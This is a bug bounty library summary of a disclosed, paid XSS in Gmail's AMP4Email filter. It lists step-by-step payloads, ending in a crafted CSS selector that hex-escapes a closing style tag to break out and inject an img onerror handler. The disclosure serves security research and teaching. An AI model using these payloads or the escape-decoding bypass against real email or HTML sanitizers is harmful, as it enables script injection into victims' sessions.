# XSS in Gmail's Amp4Email

Gmail's AMP4Email filter decoded CSS hex escapes inside selectors, letting a crafted </st\000079le> break out of a style tag and inject an onerror img for XSS.

- Payout: $5,000
- Severity: high
- Program: Google
- Credited: Adi "Adico" Cohen
- Disclosed: 2022-08-02
- Write-up quality: 8/10
- Original: https://www.adico.me/post/xss-in-gmail-s-amp4email
- Library page: https://bugbountylibrary.com/r/blog%3Aadico-me-post-xss-in-gmail-s-amp4email
- Tags: domain:web impact:integrity kind:bounty platform:blog sev:high tech:email technique:chained technique:parser-differential technique:source-review vuln:xss

**Target:** AMP4Email rendering pipeline in Gmail
**Root cause:** Gmail's secondary AMP filter decoded CSS hex escapes (\000072) inside selector context but did not re-validate the decoded output, so an encoded </style> slipped past the closing-tag check that blocked literal </style>.
**Steps:**
1. Confirm AMP playground accepts `<style amp-custom>body{color:red}</styleX><meta name="</style><img src='x' onerror=alert(1)">` but Gmail rejects it.
2. Probe escaping: send `<style>div{font-family:'aa/*f</xxx> ff*/'}</style>` and observe Gmail escapes `<`/`>` to `\00003c`/`\00003e` in string contexts.
3. Probe selector context: send `<style amp-custom>[id='a<br>aa'],body{font-family:'aaaa'}</style>` and observe no escaping occurs.
4. Test decoding: send `<style amp-custom>[id='a<b\000072> aa'],body{font-family:'aaaa'}</style>` and confirm Gmail decodes `\000072` to `r`.
5. Inject closing tag: send `<style amp-custom>[id='a</st\000079le> aa'],body{font-family:'aaaa'}</style>` and confirm it becomes a real `</style>`.
6. Final payload: `<style amp-custom>[id='</st\000079le></head><body><img src=https://bla.com/xx.jpg onerror=a=1>']{color:blue}</style>` delivered to inbox triggers onerror.
**How found:** Hypothesis: XSS filters can be bypassed by creating a rendering-context mismatch between filter and browser. Focused on stylesheets since templates/SVG/Math are forbidden in AMP4Email. Found AMP treats `</styleX>` as closing CSS while browsers don't, but Gmail blocked it. Probed which CSS contexts Gmail escapes by sending harmless payloads with `<br>`/`</xxx>` inside strings vs selectors; discovered selectors are not escaped. Then tested whether Gmail decodes CSS hex escapes in selectors, confirmed `\000072`→`r`, and used it to smuggle `</style>` past the closing-tag filter.
**Exploitation:** Attacker sends an AMP email to a victim's Gmail inbox; Gmail's filter decodes the hex-escaped `</style>` inside the CSS selector, breaking out of the stylesheet and injecting an `<img onerror>` that executes JavaScript in the Gmail origin when the email is opened.
**Insight:** When a sanitizer escapes `<`/`>` in some CSS contexts but not others, test whether it also decodes CSS hex escapes in the unescaped context — an encoded `</style>` can pass a literal-string closing-tag check and then be decoded into a real breakout.
